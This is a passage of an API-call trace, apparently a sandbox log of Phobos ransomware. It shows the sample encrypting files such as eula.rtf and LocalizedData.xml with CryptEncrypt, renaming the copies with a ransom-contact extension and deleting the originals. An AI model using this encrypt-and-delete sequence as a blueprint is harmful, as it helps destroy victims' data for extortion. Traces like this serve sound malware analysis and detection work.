"c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.088] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.088] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.088] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.088] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.088] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0047.088] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.088] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x12fb4, lpOverlapped=0x0) returned 1 [0047.092] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12fc0, dwBufLen=0x12fc0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12fc0) returned 1 [0047.093] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x12fc0, lpOverlapped=0x0) returned 1 [0047.095] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0047.095] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.095] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.095] CryptDestroyKey (hKey=0x10caf0) returned 1 [0047.095] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.095] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.095] CloseHandle (hObject=0x308) returned 1 [0047.095] CloseHandle (hObject=0x31c) returned 1 [0047.098] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0047.099] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.099] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.099] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3419) returned 1 [0047.099] CloseHandle (hObject=0x31c) returned 1 [0047.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0047.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.100] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.100] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.100] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.100] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.101] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0047.101] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.101] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xd5b, lpOverlapped=0x0) returned 1 [0047.103] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd60, dwBufLen=0xd60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd60) returned 1 [0047.103] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xd60, lpOverlapped=0x0) returned 1 [0047.104] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0047.104] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.104] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.104] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.104] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.104] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0047.104] CloseHandle (hObject=0x31c) returned 1 [0047.104] CloseHandle (hObject=0x308) returned 1 [0047.105] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0047.106] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.106] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.106] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=82346) returned 1 [0047.106] CloseHandle (hObject=0x308) returned 1 [0047.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0047.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.106] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.107] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.107] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.107] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.107] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cff0) returned 1 [0047.107] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.107] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x141aa, lpOverlapped=0x0) returned 1 [0047.109] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x141b0, dwBufLen=0x141b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x141b0) returned 1 [0047.109] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x141b0, lpOverlapped=0x0) returned 1 [0047.112] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdb0) returned 1 [0047.112] CryptSetKeyParam (hKey=0x10cdb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.112] CryptEncrypt (in: hKey=0x10cdb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.370] CryptDestroyKey (hKey=0x10cdb0) returned 1 [0047.372] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.372] CryptDestroyKey (hKey=0x10cff0) returned 1 [0047.372] CloseHandle (hObject=0x308) returned 1 [0047.372] CloseHandle (hObject=0x31c) returned 1 [0047.374] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0047.375] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.375] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.376] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=77022) returned 1 [0047.376] CloseHandle (hObject=0x31c) returned 1 [0047.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0047.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.376] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.376] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.376] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.376] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.376] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb70) returned 1 [0047.376] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.376] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x12cde, lpOverlapped=0x0) returned 1 [0047.378] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12ce0, dwBufLen=0x12ce0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12ce0) returned 1 [0047.378] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x12ce0, lpOverlapped=0x0) returned 1 [0047.380] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0f0) returned 1 [0047.380] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.380] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.380] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.380] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.380] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.380] CloseHandle (hObject=0x31c) returned 1 [0047.380] CloseHandle (hObject=0x308) returned 1 [0047.382] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0047.383] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.383] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.383] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3526) returned 1 [0047.383] CloseHandle (hObject=0x308) returned 1 [0047.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0047.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.383] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.384] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.384] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.384] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.384] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccf0) returned 1 [0047.384] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.384] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xdc6, lpOverlapped=0x0) returned 1 [0047.389] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xdd0) returned 1 [0047.389] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xdd0, lpOverlapped=0x0) returned 1 [0047.390] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cff0) returned 1 [0047.390] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.390] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.390] CryptDestroyKey (hKey=0x10cff0) returned 1 [0047.391] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.391] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.391] CloseHandle (hObject=0x308) returned 1 [0047.391] CloseHandle (hObject=0x31c) returned 1 [0047.391] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0047.392] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.393] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.393] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=82962) returned 1 [0047.393] CloseHandle (hObject=0x31c) returned 1 [0047.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0047.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.393] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.393] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.393] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.393] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.394] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0f0) returned 1 [0047.394] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.394] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x14412, lpOverlapped=0x0) returned 1 [0047.397] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x14420, dwBufLen=0x14420 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x14420) returned 1 [0047.397] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x14420, lpOverlapped=0x0) returned 1 [0047.399] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cff0) returned 1 [0047.399] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.399] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.399] CryptDestroyKey (hKey=0x10cff0) returned 1 [0047.399] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.400] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.400] CloseHandle (hObject=0x31c) returned 1 [0047.400] CloseHandle (hObject=0x308) returned 1 [0047.402] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0047.403] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.403] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.406] GetFileSizeEx (in: hFile=0x31c, 